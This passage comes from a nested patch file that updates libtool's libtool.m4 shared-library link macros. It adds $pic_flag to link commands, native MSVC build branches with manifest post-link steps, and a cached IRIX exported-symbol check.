+- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -4532,12 +4799,12 @@ _LT_EOF
+ _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive'
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+ _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
+- _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -4551,8 +4818,8 @@ _LT_EOF
+ _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -4570,8 +4837,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ _LT_TAGVAR(ld_shlibs, $1)=no
+ fi
+@@ -4617,8 +4884,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ _LT_TAGVAR(ld_shlibs, $1)=no
+ fi
+@@ -4748,7 +5015,7 @@ _LT_EOF
+ _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+ else
+@@ -4759,7 +5026,7 @@ _LT_EOF
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+ # -berok will link without error, but may produce a broken library.
+@@ -4803,20 +5070,63 @@ _LT_EOF
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
+- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
+- # FIXME: Should let the user specify the lib program.
+- _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
+- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ _LT_TAGVAR(always_export_symbols, $1)=yes
++ _LT_TAGVAR(file_list_spec, $1)='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1,DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
++ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
++ # FIXME: Should let the user specify the lib program.
++ _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -4850,7 +5160,7 @@ _LT_EOF
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+ _LT_TAGVAR(hardcode_direct, $1)=yes
+ _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+@@ -4858,7 +5168,7 @@ _LT_EOF
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -4874,7 +5184,7 @@ _LT_EOF
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -4898,10 +5208,10 @@ _LT_EOF
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -4948,16 +5258,31 @@ _LT_EOF
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- AC_LINK_IFELSE([AC_LANG_SOURCE([int foo(void) {}])],
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+- )
+- LDFLAGS="$save_LDFLAGS"
++ # This should be the same for all languages, so no per-tag cache variable.
++ AC_CACHE_CHECK([whether the $host_os linker accepts -exported_symbol],
++ [lt_cv_irix_exported_symbol],
++ [save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ AC_LINK_IFELSE(
++ [AC_LANG_SOURCE(
++ [AC_LANG_CASE([C], [[int foo (void) { return 0; }]],
++ [C++], [[int foo (void) { return 0; }]],
++ [Fortran 77], [[
++ subroutine foo
++ end]],
++ [Fortran], [[
++ subroutine foo
++ end]])])],
++ [lt_cv_irix_exported_symbol=yes],
++ [lt_cv_irix_exported_symbol=no])
++ LDFLAGS="$save_LDFLAGS"])
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -5042,7 +5367,7 @@ _LT_EOF
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+ else
+ _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+@@ -5061,9 +5386,9 @@ _LT_EOF
+ _LT_TAGVAR(no_undefined_flag, $1)=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -5335,8 +5660,6 @@ _LT_TAGDECL([], [inherit_rpath], [0],
+ to runtime path list])
+ _LT_TAGDECL([], [link_all_deplibs], [0],
+ [Whether libtool must link a program against all its dependency libraries])
+-_LT_TAGDECL([], [fix_srcfile_path], [1],
+- [Fix the shell variable $srcfile for the compiler])
+ _LT_TAGDECL([], [always_export_symbols], [0],
+ [Set to "yes" if exported symbols are required])
+ _LT_TAGDECL([], [export_symbols_cmds], [2],
+@@ -5347,6 +5670,8 @@ _LT_TAGDECL([], [include_expsyms], [1],
+ [Symbols that must always be exported])
+ _LT_TAGDECL([], [prelink_cmds], [2],
+ [Commands necessary for linking programs (against libraries) with templates])
++_LT_TAGDECL([], [postlink_cmds], [2],
++ [Commands necessary for finishing linking programs])
+ _LT_TAGDECL([], [file_list_spec], [1],
+ [Specify filename containing input files])
+ dnl FIXME: Not yet implemented
+@@ -5448,6 +5773,7 @@ CC="$lt_save_CC"
+ m4_defun([_LT_LANG_CXX_CONFIG],
+ [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+ m4_require([_LT_DECL_EGREP])dnl
++m4_require([_LT_PATH_MANIFEST_TOOL])dnl
+ if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
+ ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
+ (test "X$CXX" != "Xg++"))) ; then
+@@ -5509,6 +5835,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC=$CC
++ lt_save_CFLAGS=$CFLAGS
+ lt_save_LD=$LD
+ lt_save_GCC=$GCC
+ GCC=$GXX
+@@ -5526,6 +5853,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ fi
+ test -z "${LDCXX+set}" || LD=$LDCXX
+ CC=${CXX-"c++"}
++ CFLAGS=$CXXFLAGS
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_CC_BASENAME([$compiler])
+@@ -5689,7 +6017,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
+ # Determine the default libpath from the value encoded in an empty
+ # executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -5701,7 +6029,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+ # -berok will link without error, but may produce a broken library.
+@@ -5743,29 +6071,75 @@ if test "$_lt_caught_CXX_error" != yes; then
+ ;;
+
+ cygwin* | mingw* | pw32* | cegcc*)
+- # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
+- # as there is no search path for DLLs.
+- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+- _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
+- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+- _LT_TAGVAR(always_export_symbols, $1)=no
+- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+-
+- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- # If the export-symbols file already is a .def file (1st line
+- # is EXPORTS), use it as is; otherwise, prepend...
+- _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+- cp $export_symbols $output_objdir/$soname.def;
+- else
+- echo EXPORTS > $output_objdir/$soname.def;
+- cat $export_symbols >> $output_objdir/$soname.def;
+- fi~
+- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- else
+- _LT_TAGVAR(ld_shlibs, $1)=no
+- fi
+- ;;
++ case $GXX,$cc_basename in
++ ,cl* | no,cl*)
++ # Native MSVC
++ # hardcode_libdir_flag_spec is actually meaningless, as there is
++ # no search path for DLLs.
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ _LT_TAGVAR(always_export_symbols, $1)=yes
++ _LT_TAGVAR(file_list_spec, $1)='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ # Don't use ranlib
++ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
++ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ func_to_tool_file "$lt_outputfile"~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # g++
++ # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
++ # as there is no search path for DLLs.
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
++ _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ _LT_TAGVAR(always_export_symbols, $1)=no
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++
++ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ # If the export-symbols file already is a .def file (1st line
++ # is EXPORTS), use it as is; otherwise, prepend...
++ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ cp $export_symbols $output_objdir/$soname.def;
++ else
++ echo EXPORTS > $output_objdir/$soname.def;
++ cat $export_symbols >> $output_objdir/$soname.def;
++ fi~
++ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ else
++ _LT_TAGVAR(ld_shlibs, $1)=no
++ fi
++ ;;
++ esac
++ ;;
+ darwin* | rhapsody*)
+ _LT_DARWIN_LINKER_FEATURES($1)
+ ;;
+@@ -5840,7 +6214,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ ;;
+ *)
+ if test "$GXX" = yes; then
+- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ # FIXME: insert proper C++ library support
+ _LT_TAGVAR(ld_shlibs, $1)=no
+@@ -5911,10 +6285,10 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ ia64*)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ *)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ esac
+ fi
+@@ -5955,9 +6329,9 @@ if test "$_lt_caught_CXX_error" != yes; then
+ *)
+ if test "$GXX" = yes; then
